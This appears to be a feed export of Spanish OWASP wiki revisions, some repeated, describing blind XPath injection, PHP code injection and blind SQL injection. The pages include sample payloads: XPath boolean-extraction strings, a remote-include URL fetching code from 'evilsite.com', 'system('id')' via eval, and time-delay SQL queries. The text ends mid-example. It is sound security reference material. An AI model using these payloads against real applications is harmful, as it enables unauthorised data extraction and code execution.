&amp;lt;pre&amp;gt;substring((//user[position()=1]/child::node()[position()=2]),1,1)=&amp;quot;a&amp;quot;&amp;lt;/pre&amp;gt;&lt;br /&gt;
Esta consulta confirmarña (True) o negará (False) que el primer carácter del password de usuario (&amp;quot;admin&amp;quot;) es una &amp;quot;a&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
Si el formulario de entrada fuese algo como esto:&lt;br /&gt;
&lt;br /&gt;
C#:&lt;br /&gt;
&amp;lt;pre&amp;gt;String FindUser;&lt;br /&gt;
FindUser = &amp;quot;//user[login/text()='&amp;quot; + Request(&amp;quot;Username&amp;quot;) + &amp;quot;' And&lt;br /&gt;
      password/text()='&amp;quot; + Request(&amp;quot;Password&amp;quot;) + &amp;quot;']&amp;quot;;&amp;lt;/pre&amp;gt;&lt;br /&gt;
entonces el atacante debería inyectar el siguiente código:&lt;br /&gt;
&amp;lt;pre&amp;gt;Username: ' or substring((//user[position()=1]/child::node()[position()=2]),1,1)=&amp;quot;a&amp;quot; or ''='&amp;lt;/pre&amp;gt;&lt;br /&gt;
La sintaxis XPath puede resultarte muy parecida a la de las Inyecciones SQL pero el atacante debe tener en cuenta que este lenguaje no permite comentar el resto de la consulta.Para omitir esta limitación el atacante debe usar o expresiones de anular todas las expresiones, que puede interrumpir el ataque.&lt;br /&gt;
&lt;br /&gt;
Debido a &amp;lt;em&amp;gt;Boolenization&amp;lt;/em&amp;gt; el número de consultas, incluso dentro de un pequeño documento XML, puede ser muy alto (miles, miles de miles y más). Es por ello que este ataque no se lleva a cabo de forma manual. Conocer algunas funciones básicas XPath, el atacante es capaz de escribir una aplicación en un breve periodo de tiempo que la construya  la estructura del documento y lo llene con los datos por sí mismo.&lt;br /&gt;
&lt;br /&gt;
&amp;amp;nbsp;&lt;br /&gt;
&lt;br /&gt;
==Relacionados [[Threat Agents]]==&lt;br /&gt;
TBD&lt;br /&gt;
&lt;br /&gt;
==Relacionados [[Attacks]]==&lt;br /&gt;
* [[Blind_SQL_Injection]]&lt;br /&gt;
* [[XPATH_Injection]]&lt;br /&gt;
&lt;br /&gt;
==Relacionados [[Vulnerabilities]]==&lt;br /&gt;
* [[Injection_problem]]&lt;br /&gt;
&lt;br /&gt;
==Relacionados [[Controls]]==&lt;br /&gt;
* [[:Category:Input Validation]]&lt;br /&gt;
&lt;br /&gt;
==Referencias==&lt;br /&gt;
* http://dl.packetstormsecurity.net/papers/bypass/Blind_XPath_Injection_20040518.pdf - by Amit Klein (much more detailes, in my opinion the best source about Blind XPath Injection).&lt;br /&gt;
* http://www.ibm.com/developerworks/xml/library/x-xpathinjection/index.html&lt;br /&gt;
* http://projects.webappsec.org/w/page/13247005/XPath%20Injection&lt;br /&gt;
&lt;br /&gt;
[[Category:Injection]]&lt;br /&gt;
[[Category:Attack]]&lt;/div&gt;</summary>
		<author><name>AcE</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Inyecci%C3%B3n_XPath_Ciega&amp;diff=198268</id>
		<title>Inyección XPath Ciega</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Inyecci%C3%B3n_XPath_Ciega&amp;diff=198268"/>
				<updated>2015-07-31T20:43:42Z</updated>
		
		<summary type="html">&lt;p&gt;AcE: Created page with &amp;quot;{{Template:Attack}} &amp;lt;br&amp;gt; Category:OWASP ASDR Project   Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''  ==Descripción==  Editar	  XPath...&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:Attack}}&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
[[Category:OWASP ASDR Project]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
==Descripción==&lt;br /&gt;
&lt;br /&gt;
Editar	&lt;br /&gt;
&lt;br /&gt;
XPath es un tipo de lenguaje de consulta que describe cómo localizar elementos específicos (incluyendo atributos, instrucciones de procesamiento, etc.) en un documento XML. Dado que es un lenguaje de consulta, XPath es algo similar a Structured Query Language (SQL), sin embargo, XPath es diferente, ya que se puede utilizar para hacer referencia a casi cualquier parte de un documento XML y sin restricciones de control de acceso. En SQL, un “usuario” (que es un término no definido en el contexto XPath / XML) puede limitarse a determinadas bases de datos, tablas, columnas o consultas. El uso de un ataque de inyección XPath, un atacante es capaz de modificar la consulta XPATH para realizar una acción de su elección.&lt;br /&gt;
&lt;br /&gt;
Los Blind XPath Injection se pueden utilizar para extraer datos de una aplicación que incrusta los datos suministrados por el usuario de una manera insegura. Cuando la entrada no es verificada apropiadamente, un atacante puede introducir código XPath válido para que se ejecuta. Este tipo de ataque se utiliza en situaciones en las que el atacante no tiene conocimiento acerca de la estructura del documento XML, o tal vez el mensaje de error se suprime, y sólo es capaz de extraer una parte de la información por cada pregunta verdadero / falso (consultas booleanizadas), como en Blind SQL Injection.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Ejemplos==&lt;br /&gt;
El atacante puede montar un ataque con éxito utilizando dos métodos: Boolenización y XML Crawling. Para añadir a la sintaxis XPath, el atacante utiliza expresiones adicionales.&lt;br /&gt;
&lt;br /&gt;
===Booleanización===&lt;br /&gt;
Utilizando el método de “Boolenización” el atacante puede averiguar si la expresión XPath dada es verdadera o falsa. Vamos a suponer que el objetivo del atacante es iniciar sesión en una cuenta en una aplicación web. Un registro de éxito en regresaría “True” y sifracasó en el intento de registro volvería “Falso”. Sólo una pequeña parte de la información se dirige a través del carácter o número analizado. Cuando el atacante se centra en una cadena que puede revelar en su totalidad por el control de cada personaje dentro de la clase / gama de personajes esta cadena pertenece.&lt;br /&gt;
&lt;br /&gt;
Utilizando una función de &amp;lt;em&amp;gt;cadena de longitud (S),&amp;lt;/em&amp;gt; donde S es una cadena, el atacante puede averiguar la longitud de esta cadena. Con el número apropiado de &amp;lt;em&amp;gt;subcadena (S, N, 1)&amp;lt;/em&amp;gt; iteraciones de la función, donde S es una cadena mencionado previamente, N es un carácter de inicio, y “1″ es un carácter siguiente a contar desde carácter N, el atacante es capaz de enumerar la toda cadena.&lt;br /&gt;
Código:&lt;br /&gt;
&amp;lt;pre&amp;gt;&amp;amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot;?&amp;amp;gt;&lt;br /&gt;
&amp;amp;lt;data&amp;amp;gt;&lt;br /&gt;
   &amp;amp;lt;user&amp;amp;gt;&lt;br /&gt;
   &amp;amp;lt;login&amp;amp;gt;admin&amp;amp;lt;/login&amp;amp;gt;&lt;br /&gt;
   &amp;amp;lt;password&amp;amp;gt;test&amp;amp;lt;/password&amp;amp;gt;&lt;br /&gt;
   &amp;amp;lt;realname&amp;amp;gt;SuperUser&amp;amp;lt;/realname&amp;amp;gt;&lt;br /&gt;
   &amp;amp;lt;/user&amp;amp;gt;&lt;br /&gt;
   &amp;amp;lt;user&amp;amp;gt;&lt;br /&gt;
   &amp;amp;lt;login&amp;amp;gt;rezos&amp;amp;lt;/login&amp;amp;gt;&lt;br /&gt;
   &amp;amp;lt;password&amp;amp;gt;rezos123&amp;amp;lt;/password&amp;amp;gt;&lt;br /&gt;
   &amp;amp;lt;realname&amp;amp;gt;Simple User&amp;amp;lt;/realname&amp;amp;gt;&lt;br /&gt;
   &amp;amp;lt;/user&amp;amp;gt;&lt;br /&gt;
&amp;amp;lt;/data&amp;amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
Función:&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
	&amp;lt;li&amp;gt;&amp;lt;em&amp;gt;string.stringlength (// user [position () = 1] / child :: node () [position () = 2])&amp;lt;/em&amp;gt; devuelve la longitud de la segunda cadena del primer usuario (8),&amp;lt;/li&amp;gt;&lt;br /&gt;
	&amp;lt;li&amp;gt;&amp;lt;em&amp;gt;substring ((// user [position () = 1] / child :: node () [position () = 2), 1,1)&amp;lt;/em&amp;gt; devuelve el primer carácter de este usuario (&amp;quot;r&amp;quot;).&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===XML Crawling===&lt;br /&gt;
&lt;br /&gt;
Para conocer la estructura del documento XML que el atacante puede utilizar:&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
	&amp;lt;li&amp;gt;count(expression)&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;count(//user/child::node()&amp;lt;/pre&amp;gt;&lt;br /&gt;
Esto retornará el numero de nodos (en este caso 2).&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
	&amp;lt;li&amp;gt;stringlength(string)&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;string-length(//user[position()=1]/child::node()[position()=2])=6&amp;lt;/pre&amp;gt;&lt;br /&gt;
Usando esta consulta el atacante averiguará si la segunda cadena (password) del primer nodo (usuario &amp;quot;admin&amp;quot;) consta de 6 caracteres.&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
	&amp;lt;li&amp;gt;substring(string, number, number)&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;substring((//user[position()=1]/child::node()[position()=2]),1,1)=&amp;quot;a&amp;quot;&amp;lt;/pre&amp;gt;&lt;br /&gt;
Esta consulta confirmarña (True) o negará (False) que el primer carácter del password de usuario (&amp;quot;admin&amp;quot;) es una &amp;quot;a&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
Si el formulario de entrada fuese algo como esto:&lt;br /&gt;
&lt;br /&gt;
C#:&lt;br /&gt;
&amp;lt;pre&amp;gt;String FindUser;&lt;br /&gt;
FindUser = &amp;quot;//user[login/text()='&amp;quot; + Request(&amp;quot;Username&amp;quot;) + &amp;quot;' And&lt;br /&gt;
      password/text()='&amp;quot; + Request(&amp;quot;Password&amp;quot;) + &amp;quot;']&amp;quot;;&amp;lt;/pre&amp;gt;&lt;br /&gt;
entonces el atacante debería inyectar el siguiente código:&lt;br /&gt;
&amp;lt;pre&amp;gt;Username: ' or substring((//user[position()=1]/child::node()[position()=2]),1,1)=&amp;quot;a&amp;quot; or ''='&amp;lt;/pre&amp;gt;&lt;br /&gt;
La sintaxis XPath puede resultarte muy parecida a la de las Inyecciones SQL pero el atacante debe tener en cuenta que este lenguaje no permite comentar el resto de la consulta.Para omitir esta limitación el atacante debe usar o expresiones de anular todas las expresiones, que puede interrumpir el ataque.&lt;br /&gt;
&lt;br /&gt;
Debido a &amp;lt;em&amp;gt;Boolenization&amp;lt;/em&amp;gt; el número de consultas, incluso dentro de un pequeño documento XML, puede ser muy alto (miles, miles de miles y más). Es por ello que este ataque no se lleva a cabo de forma manual. Conocer algunas funciones básicas XPath, el atacante es capaz de escribir una aplicación en un breve periodo de tiempo que la construya  la estructura del documento y lo llene con los datos por sí mismo.&lt;br /&gt;
&lt;br /&gt;
&amp;amp;nbsp;&lt;br /&gt;
&lt;br /&gt;
==Relacionados [[Threat Agents]]==&lt;br /&gt;
TBD&lt;br /&gt;
&lt;br /&gt;
==Relacionados [[Attacks]]==&lt;br /&gt;
* [[Blind_SQL_Injection]]&lt;br /&gt;
* [[XPATH_Injection]]&lt;br /&gt;
&lt;br /&gt;
==Relacionados [[Vulnerabilities]]==&lt;br /&gt;
* [[Injection_problem]]&lt;br /&gt;
&lt;br /&gt;
==Relacionados [[Controls]]==&lt;br /&gt;
* [[:Category:Input Validation]]&lt;br /&gt;
&lt;br /&gt;
==Referencias==&lt;br /&gt;
* http://dl.packetstormsecurity.net/papers/bypass/Blind_XPath_Injection_20040518.pdf - by Amit Klein (much more detailes, in my opinion the best source about Blind XPath Injection).&lt;br /&gt;
* http://www.ibm.com/developerworks/xml/library/x-xpathinjection/index.html&lt;br /&gt;
* http://projects.webappsec.org/w/page/13247005/XPath%20Injection&lt;br /&gt;
&lt;br /&gt;
[[Category:Injection]]&lt;br /&gt;
[[Category:Attack]]&lt;/div&gt;</summary>
		<author><name>AcE</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Inyecci%C3%B3n_de_C%C3%B3digo&amp;diff=198143</id>
		<title>Inyección de Código</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Inyecci%C3%B3n_de_C%C3%B3digo&amp;diff=198143"/>
				<updated>2015-07-30T15:29:09Z</updated>
		
		<summary type="html">&lt;p&gt;AcE: /* Ejemplos */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:Attack}}&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
[[Category:OWASP ASDR Project]]&lt;br /&gt;
&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
==Descripción==&lt;br /&gt;
&lt;br /&gt;
Code Injection es el término general para el tipo de ataques que tratan de inyectar código que es interpretado/ejecutado por la aplicación. Este tipo de ataques explota el manejo pobre de información no confiable. Este tipo de ataques son habitualmente posibles por no validar apropiadamente las entradas y salidas de datos, por ejemplo:&lt;br /&gt;
&lt;br /&gt;
* Caracteres permitidos (expresiones regulares, clases o personalizadas)&lt;br /&gt;
* Formato de los datos&lt;br /&gt;
* Cantidad de datos esperada.&lt;br /&gt;
&lt;br /&gt;
Code Injection difiere de Command Injection en que un atacante esta limitado por las funcionalidades del lenguaje inyectado. Si un atacante es capaz de inyectar código PHP en la aplicación y hacer que este sea ejecutado, él solo estará limitado por lo que PHP es capaz de hacer. Command Injection ( Inyección de comandos) consiste en el aprovechamiento de código existente para ejecutar comandos, normalmente sin el contexto de la SHELL.&lt;br /&gt;
&lt;br /&gt;
==Factores de Riesgo==&lt;br /&gt;
&lt;br /&gt;
* Este tipo de vulnerabilidades pueden ser desde muy fácil, a muy complicadas de encontrar.&lt;br /&gt;
* Si la encuentras, normalmente no son muy difíciles de explotar, depende del escenario.&lt;br /&gt;
* Si son explotadas correctamente, el impacto podría cubrir la perdida de confidencialidad, perdida de integridad, perdida de disponibilidad y/o perdida de responsabilidad.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Ejemplos ==&lt;br /&gt;
&lt;br /&gt;
'''Ejemplo 1'''&lt;br /&gt;
&lt;br /&gt;
Si una aplicación pasa un parámetro enviado vía petición “GET” a una función “include() en php sin verificar la entrada, el atacante podría intentar ejecutar un código diferente al que el desarrollador tenía en mente.&lt;br /&gt;
&lt;br /&gt;
La dirección de abajo pasa un nombre de página a la función include().&lt;br /&gt;
&lt;br /&gt;
http://testsite.com/index.php?page=contact.php&lt;br /&gt;
&lt;br /&gt;
El archivo”evilcode.php” puede contener, por ejemplo, una función phpinfo() la cual es muy útil para ganar información sobre la configuración del entorno en el cual el servicio corre. Un atacante puede solicitarle a la aplicación que ejecute este código PHP usando la siguiente petición:&lt;br /&gt;
&lt;br /&gt;
http://testsite.com/?page=http://evilsite.com/evilcode.php&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Ejemplo 2'''&lt;br /&gt;
&lt;br /&gt;
Cuando un desarrollador usa la función PHP eval() y le pasa datos no verificados que el atacante puede modificar, la inyección de código puede ser posible.&lt;br /&gt;
&lt;br /&gt;
El ejemplo de abajo muestra una forma peligrosa de usar la función eval():&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$myvar = &amp;quot;varname&amp;quot;;&lt;br /&gt;
$x = $_GET['arg'];&lt;br /&gt;
eval(&amp;quot;\$myvar = \$x;&amp;quot;);&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Como no se verifica la entrada el código anterior es vulnerable a un ataque Code Injection.&lt;br /&gt;
&lt;br /&gt;
Por ejemplo:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
/index.php?arg=1; phpinfo()&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Mientras explota agujeros como estos, un atacante podría querer tambien ejecutar comandos de sistema. En este caso, el agujero que proporciona la inyección de código tambien puede ser usado para inyectar comandos, por ejemplo:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
/index.php?arg=1; system('id')&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Relacionados [[Threat Agents]]==&lt;br /&gt;
* [[:Category: Internet_attacker]]&lt;br /&gt;
* [[Internal_software_developer]]&lt;br /&gt;
&lt;br /&gt;
==Relacionados [[Attacks]]==&lt;br /&gt;
* [[Command Injection]]&lt;br /&gt;
* [[SQL Injection]]&lt;br /&gt;
* [[LDAP injection]]&lt;br /&gt;
* [[Server-Side_Includes_%28SSI%29_Injection|SSI injection]]&lt;br /&gt;
* [[Cross-site Scripting (XSS)]]&lt;br /&gt;
&lt;br /&gt;
==Relacionados [[Vulnerabilities]]==&lt;br /&gt;
* [[:Category: Input Validation Vulnerability]]&lt;br /&gt;
&lt;br /&gt;
==Relacionados [[Controls]]==&lt;br /&gt;
* [[Input Validation]]&lt;br /&gt;
* [[Output Validation]]&lt;br /&gt;
* [[Canonicalization]]&lt;br /&gt;
&lt;br /&gt;
==Referencias==&lt;br /&gt;
* [http://cwe.mitre.org/data/definitions/77.html CWE-77: Command Injection]&lt;br /&gt;
* [http://cwe.mitre.org/data/definitions/78.html CWE-78: OS Command Injection]&lt;br /&gt;
* [http://cwe.mitre.org/data/definitions/77.html CWE-89: SQL Injection]&lt;br /&gt;
&lt;br /&gt;
[[Category:Injection]]&lt;br /&gt;
[[Category:Attack]]&lt;br /&gt;
[[Category:Injection Attack]]&lt;/div&gt;</summary>
		<author><name>AcE</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Inyecci%C3%B3n_de_C%C3%B3digo&amp;diff=198142</id>
		<title>Inyección de Código</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Inyecci%C3%B3n_de_C%C3%B3digo&amp;diff=198142"/>
				<updated>2015-07-30T15:27:40Z</updated>
		
		<summary type="html">&lt;p&gt;AcE: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:Attack}}&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
[[Category:OWASP ASDR Project]]&lt;br /&gt;
&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
==Descripción==&lt;br /&gt;
&lt;br /&gt;
Code Injection es el término general para el tipo de ataques que tratan de inyectar código que es interpretado/ejecutado por la aplicación. Este tipo de ataques explota el manejo pobre de información no confiable. Este tipo de ataques son habitualmente posibles por no validar apropiadamente las entradas y salidas de datos, por ejemplo:&lt;br /&gt;
&lt;br /&gt;
* Caracteres permitidos (expresiones regulares, clases o personalizadas)&lt;br /&gt;
* Formato de los datos&lt;br /&gt;
* Cantidad de datos esperada.&lt;br /&gt;
&lt;br /&gt;
Code Injection difiere de Command Injection en que un atacante esta limitado por las funcionalidades del lenguaje inyectado. Si un atacante es capaz de inyectar código PHP en la aplicación y hacer que este sea ejecutado, él solo estará limitado por lo que PHP es capaz de hacer. Command Injection ( Inyección de comandos) consiste en el aprovechamiento de código existente para ejecutar comandos, normalmente sin el contexto de la SHELL.&lt;br /&gt;
&lt;br /&gt;
==Factores de Riesgo==&lt;br /&gt;
&lt;br /&gt;
* Este tipo de vulnerabilidades pueden ser desde muy fácil, a muy complicadas de encontrar.&lt;br /&gt;
* Si la encuentras, normalmente no son muy difíciles de explotar, depende del escenario.&lt;br /&gt;
* Si son explotadas correctamente, el impacto podría cubrir la perdida de confidencialidad, perdida de integridad, perdida de disponibilidad y/o perdida de responsabilidad.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Ejemplos ==&lt;br /&gt;
&lt;br /&gt;
'''Ejemplo 1'''&lt;br /&gt;
&lt;br /&gt;
Si una aplicación pasa un parámetro enviado vía petición “GET” a una función “include() en php sin verificar la entrada, el atacante podría intentar ejecutar un código diferente al que el desarrollador tenía en mente.&lt;br /&gt;
&lt;br /&gt;
La dirección de abajo pasa un nombre de página a la función include().&lt;br /&gt;
&lt;br /&gt;
http://testsite.com/index.php?page=contact.php&lt;br /&gt;
&lt;br /&gt;
El archivo”evilcode.php” puede contener, por ejemplo, una función phpinfo() la cual es muy útil para ganar información sobre la configuración del entorno en el cual el servicio corre. Un atacante puede solicitarle a la aplicación que ejecute este código PHP usando la siguiente petición:&lt;br /&gt;
&lt;br /&gt;
http://testsite.com/?page=http://evilsite.com/evilcode.php&lt;br /&gt;
&lt;br /&gt;
'''Ejemplo 2'''&lt;br /&gt;
&lt;br /&gt;
Cuando un desarrollador usa la función PHP eval() y le pasa datos no verificados que el atacante puede modificar, la inyección de código puede ser posible.&lt;br /&gt;
&lt;br /&gt;
El ejemplo de abajo muestra una forma peligrosa de usar la función eval():&lt;br /&gt;
&lt;br /&gt;
$myvar = &amp;quot;varname&amp;quot;;&lt;br /&gt;
$x = $_GET['arg'];&lt;br /&gt;
eval(&amp;quot;\$myvar = \$x;&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
Como no se verifica la entrada el código anterior es vulnerable a un ataque Code Injection.&lt;br /&gt;
&lt;br /&gt;
Por ejemplo:&lt;br /&gt;
&lt;br /&gt;
/index.php?arg=1; phpinfo()&lt;br /&gt;
&lt;br /&gt;
Mientras explota agujeros como estos, un atacante podría querer tambien ejecutar comandos de sistema. En este caso, el agujero que proporciona la inyección de código tambien puede ser usado para inyectar comandos, por ejemplo:&lt;br /&gt;
&lt;br /&gt;
/index.php?arg=1; system('id')&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Relacionados [[Threat Agents]]==&lt;br /&gt;
* [[:Category: Internet_attacker]]&lt;br /&gt;
* [[Internal_software_developer]]&lt;br /&gt;
&lt;br /&gt;
==Relacionados [[Attacks]]==&lt;br /&gt;
* [[Command Injection]]&lt;br /&gt;
* [[SQL Injection]]&lt;br /&gt;
* [[LDAP injection]]&lt;br /&gt;
* [[Server-Side_Includes_%28SSI%29_Injection|SSI injection]]&lt;br /&gt;
* [[Cross-site Scripting (XSS)]]&lt;br /&gt;
&lt;br /&gt;
==Relacionados [[Vulnerabilities]]==&lt;br /&gt;
* [[:Category: Input Validation Vulnerability]]&lt;br /&gt;
&lt;br /&gt;
==Relacionados [[Controls]]==&lt;br /&gt;
* [[Input Validation]]&lt;br /&gt;
* [[Output Validation]]&lt;br /&gt;
* [[Canonicalization]]&lt;br /&gt;
&lt;br /&gt;
==Referencias==&lt;br /&gt;
* [http://cwe.mitre.org/data/definitions/77.html CWE-77: Command Injection]&lt;br /&gt;
* [http://cwe.mitre.org/data/definitions/78.html CWE-78: OS Command Injection]&lt;br /&gt;
* [http://cwe.mitre.org/data/definitions/77.html CWE-89: SQL Injection]&lt;br /&gt;
&lt;br /&gt;
[[Category:Injection]]&lt;br /&gt;
[[Category:Attack]]&lt;br /&gt;
[[Category:Injection Attack]]&lt;/div&gt;</summary>
		<author><name>AcE</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Inyecci%C3%B3n_SQL_Ciega&amp;diff=198116</id>
		<title>Inyección SQL Ciega</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Inyecci%C3%B3n_SQL_Ciega&amp;diff=198116"/>
				<updated>2015-07-29T23:50:21Z</updated>
		
		<summary type="html">&lt;p&gt;AcE: /* Risk Factors */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:Attack}}&lt;br /&gt;
[[Category:OWASP ASDR Project]]&lt;br /&gt;
[[Category:Security Focus Area]]&lt;br /&gt;
__NOTOC__&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
==Descripción==&lt;br /&gt;
Ataque a ciegas por inyección SQL, en inglés, Blind SQL injection, es una técnica de ataque que utiliza la inyección SQL. Se evidencia cuando en una página web, por una falla de seguridad, no se muestran mensajes de error al no producirse resultados correctos ante una consulta a la base de datos, mostrándose siempre el mismo contenido (es decir, solo hay respuesta si el resultado es correcto).&lt;br /&gt;
&lt;br /&gt;
Sentencias condicionales con el tipo “Or 1=1″ o “having 1=1″ ofrecen respuestas siempre correctas (true o verdadero) por lo cual suelen ser usadas por los programadores como formas de comprobación. El problema para la seguridad de la página radica en que esta técnica es utilizada en combinación con diccionarios o fuerza bruta para la búsqueda, carácter por carácter, de una contraseña, un nombre de usuario, un número de teléfono o cualquier otra información que albergue la base de datos atacada; para ello se utiliza código SQL específico que “va probando” cada carácter consiguiendo un resultado positivo acumulable cuando hay una coincidencia. De esta manera se puede saber, por ejemplo, que una contraseña comienza por “F…”, luego continúa con “.i…”, y luego “..r…”, etc (acumula Fir…), hasta dar con la palabra completa.&lt;br /&gt;
&lt;br /&gt;
Existen programas que automatizan este proceso de “tanteos” letra por letra en el resultado de la consulta SQL, que un intruso podría enviar inyectado.&lt;br /&gt;
&lt;br /&gt;
==Modelando Amenazas==&lt;br /&gt;
Igual que [[SQL Injection]]&lt;br /&gt;
&lt;br /&gt;
==Factores de Riesgo==&lt;br /&gt;
Igual que [[SQL Injection]]&lt;br /&gt;
&lt;br /&gt;
==Ejemplos ==&lt;br /&gt;
Un atacante puede verificar si una solicitud enviada regresó verdadero o falso de varias formas:&lt;br /&gt;
&lt;br /&gt;
===Basado en el contenido===&lt;br /&gt;
El uso de una simple página, que muestra un artículo con ID dado como parámetro, el atacante puede realizar un par de pruebas sencillas para determinar si la página es vulnerable a ataques de inyección SQL.&lt;br /&gt;
&lt;br /&gt;
URL de ejemplo:&lt;br /&gt;
&amp;lt;pre&amp;gt;http://newspaper.com/items.php?id=2&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
envía la siguiente consulta a la base de datos&lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT title, description, body FROM items WHERE ID = 2&amp;lt;/pre&amp;gt;&lt;br /&gt;
el atacante puede entonces intentar que devuelva ‘falso’:&lt;br /&gt;
&amp;lt;pre&amp;gt;http://newspaper.com/items.php?id=2 and 1=2&amp;lt;/pre&amp;gt;&lt;br /&gt;
ahora la consulta SQL quedaría tal que así:&lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT title, description, body FROM items WHERE ID = 2 and 1=2&amp;lt;/pre&amp;gt;&lt;br /&gt;
Si la aplicación web es vulnerable a SQL Injection, entonces es proble que no devuelva nada. Para asegurarse, el atacante injectará una consulta que devuelva ‘verdadero’:&lt;br /&gt;
&amp;lt;pre&amp;gt;http://newspaper.com/items.php?id=2 and 1=1&amp;lt;/pre&amp;gt;&lt;br /&gt;
Si el contenido de la pagina que devuelve ‘verdadero’ difiere de la página que devolvió ‘falso’, entonces el atacante es capaz de distinguir cuando la consulta ejecutada es verdadera o falsa.&lt;br /&gt;
&lt;br /&gt;
Una vez que esto ha sido verificado, la única limitación son los privilegios puesto por el administrador de la BBDD, diferente sintaxis sql y la imaginación del atacante.&lt;br /&gt;
&lt;br /&gt;
===Basada en tiempo===&lt;br /&gt;
&lt;br /&gt;
Este tipo de inyección SQL ciega se basa en pausar la BBDD por un tiempo especificado, para que posteriormente devuelva los resultados, indicando que la consulta triunfo&lt;br /&gt;
Usando este metodo, un atacante enumera cada letra de la porción de datos que desea leer usando la siguiente lógica:&lt;br /&gt;
&lt;br /&gt;
Si la primera letra del nombre de la primera BBDD es una “A”, esperar 10 segundos.&lt;br /&gt;
&lt;br /&gt;
Si la primera letra del nombre de la primera BBDD es una “B”, esperar 10 segundos, etc…&lt;br /&gt;
&lt;br /&gt;
Así con cada letra, si la respuesta tarda diez segundos es que es la letra por la que preguntamos si no es así continuamos con la siguiente.&lt;br /&gt;
&amp;lt;h3&amp;gt;EJEMPLOS&amp;lt;/h3&amp;gt;&lt;br /&gt;
&amp;lt;strong&amp;gt;Microsoft SQL Server&amp;lt;/strong&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.site.com/vulnerable.php?id=1′ waitfor delay ’00:00:10′–&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;strong&amp;gt;MySQL&amp;lt;/strong&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT IF(expression, true, false)&amp;lt;/pre&amp;gt;&lt;br /&gt;
Usando alguna operación que tome un tiempo considerable en realizarse por ejemplo BENCHMARK(), esto causará un retardo en la respuesta si la consulta es “Verdadera”&lt;br /&gt;
&amp;lt;pre&amp;gt;BENCHMARK(5000000,ENCODE(‘MSG’,'by 5 seconds’))&amp;lt;/pre&amp;gt;&lt;br /&gt;
- ejecutará la función ENCODE 5000000 veces.&lt;br /&gt;
&lt;br /&gt;
Dependiendo de la carga y el rendimiento del servidor de base de datos, esto debería de tomar solo un momento para terminar. Lo importante es, desde el punto de vista del atacante, especificar un número de repeticiones lo suficientemente alto como para afectar al tiempo de respuesta de manera notable.&lt;br /&gt;
&lt;br /&gt;
Ejemplo de la combinación de ambas consultas:&lt;br /&gt;
